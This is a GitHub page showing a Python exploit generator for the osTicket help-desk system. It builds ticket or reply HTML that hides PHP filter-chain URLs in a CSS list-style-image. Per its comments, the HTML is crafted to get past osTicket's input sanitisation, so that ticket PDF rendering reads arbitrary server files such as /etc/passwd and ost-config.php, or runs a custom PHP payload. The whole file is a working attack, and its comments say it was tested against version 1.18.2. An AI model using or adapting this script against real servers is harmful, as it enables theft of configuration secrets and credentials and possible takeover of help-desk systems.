-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathosticket_ticket_payload_gen.py
More file actions
169 lines (149 loc) · 10.9 KB
/
osticket_ticket_payload_gen.py
File metadata and controls
169 lines (149 loc) · 10.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
# Original idea of formatting files as bitmap images taken from Hitcon 2022 web2pdf challenge: https://blog.splitline.tw/hitcon-ctf-2022/#%F0%9F%93%83-web2pdf-web
# Code based on: https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
#
# Example usage:
# python osticket_ticket_payload_gen.py -f /etc/passwd include/ost-config.php /proc/self/maps,b64zlib
# python osticket_ticket_payload_gen.py -f /usr/lib/x86_64-linux-gnu/libc.so.6,b64zlib -r
# python osticket_ticket_payload_gen.py -p cnext_payload -r
import base64, sys, string
from urllib.parse import quote
from argparse import ArgumentParser
ICONV_MAPPINGS = {
"61": "convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE",
"59": "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361",
"66": "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213",
"50": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB",
"68": "convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE",
"57": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936",
"6f": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE",
"6a": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16",
"32": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921",
"35": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE",
"69": "convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000",
"56": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB",
"51": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2",
"58": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932",
"67": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8",
"34": "convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE",
"5a": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16",
"33": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE",
"4e": "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4",
"4b": "convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE",
"42": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000",
"45": "convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT",
"73": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90",
"74": "convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS",
"4c": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC",
"4d": "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T",
"75": "convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61",
"72": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101",
"44": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213",
"2f": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4",
"43": "convert.iconv.CN.ISO2022KR",
"6b": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2",
"38": "convert.iconv.JS.UTF16|convert.iconv.L6.UTF-16",
"6e": "convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61",
"36": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2",
"31": "convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4",
"65": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937",
"62": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE",
"54": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103",
"53": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS",
"30": "convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE",
"37": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4",
"6d": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949",
"6c": "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE",
"39": "convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB",
"52": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4",
"55": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943",
"63": "convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2",
"64": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5",
"46": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB",
"79": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT",
"41": "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213",
"77": "convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE",
"48": "convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213",
"70": "convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4",
"4a": "convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4",
"4f": "convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775",
"71": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2",
"76": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932",
"49": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213",
"47": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90",
"78": "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS",
"7a": "convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937"
}
parser = ArgumentParser(description="Generate osTicket ticket payload to retrieve provided file paths, or wrap custom PHP payload. Set -r flag if the payload will be used to reply to an existing ticket.")
parser.add_argument('-f', '--files', nargs='*', help='Zero or more file paths to fetch. Add ,b64 or ,b64zlib to add conversions to file, e.g. /etc/passwd,b64lib', required=False)
parser.add_argument('-p', '--payload', help='file path containing PHP payload', required=False)
parser.add_argument('-r', '--reply', action='store_true', help='Generate payload for ticket reply (vs ticket creation)')
args = parser.parse_args()
PAYLOAD_FILE = args.payload
FILE_PATHS = args.files
if not PAYLOAD_FILE and not FILE_PATHS:
print('no file paths or payload file provided')
sys.exit(1)
payloads = []
if PAYLOAD_FILE:
payloads.append(open(PAYLOAD_FILE, 'r').read())
if FILE_PATHS:
for f in FILE_PATHS:
# Depending on the file you may get slightly different results depending on the encoding, especially towards the end of the file
# Note there appears to limit to the size of any individual BMP file you can pull back of roughly ~45K. File is truncated after that limit.
if len(f.split(',', 1)) > 1:
file_to_use, encoding = f.split(',', 1)
if encoding not in ['plain', 'b64', 'b64zlib']:
print(f'Invalid encoding: {encoding}, defaulting to plain text retrieval')
encoding = 'plain'
else:
file_to_use = f
encoding = 'plain'
width, height = 15000, 1
payload = b'BM:\x00\x00\x00\x00\x00\x00\x006\x00\x00\x00(\x00\x00\x00' + \
width.to_bytes(4, 'little') + \
height.to_bytes(4, 'little') + \
b'\x01\x00\x18\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
base64_payload = base64.b64encode(payload).decode()
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += ICONV_MAPPINGS[(str(hex(ord(c)))).replace("0x","")] + "|"
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
if encoding == 'b64' or encoding == 'b64zlib':
filters = "convert.base64-encode|" + filters
if encoding == 'b64zlib':
filters = "zlib.deflate|" + filters
payloads.append(f"php://filter/{filters}/resource={file_to_use}")
# osTicket specific logic
# url encode certain characters to bypass various checks. in particular it's important that php:// needs to be turned into php%3a//
# the path will get url decoded in the mpdf version included in osTicket
#
# Also Noticed that file paths with capital letters get turned into lowercase somewhere in the PDF processing.
# To work around this, we also urlencode capital letters
def quote_with_forced_uppercase(input_string: str) -> str:
safe_chars = string.ascii_lowercase + string.digits + '_.-~'
encoded_parts = []
for char in input_string:
if 'A' <= char <= 'Z':
encoded_parts.append(f"%{ord(char):X}")
elif char in safe_chars:
encoded_parts.append(char)
else:
encoded_parts.append(quote(char))
return "".join(encoded_parts)
# The SEP sequence is part of the payload and used to bypass some input validation/sanitization in osTicket and htmLawed.
# The separator is different when creating a new ticket vs replying to an existing ticket
#
# This exploit was tested specifically against osticket version 1.18.2 should work with other recent versions.
# Very old versions of osTicket circa 2020 and before actually don't seem to need any special separator (this has not been tested)
SEP = "&#34" if args.reply else """
final_payload = '<ul>'
for p in payloads:
final_payload += f'<li style="list-style-image:url{SEP}({quote_with_forced_uppercase(p)})">listitem</li>\n'
final_payload += '</ul>'
print(final_payload)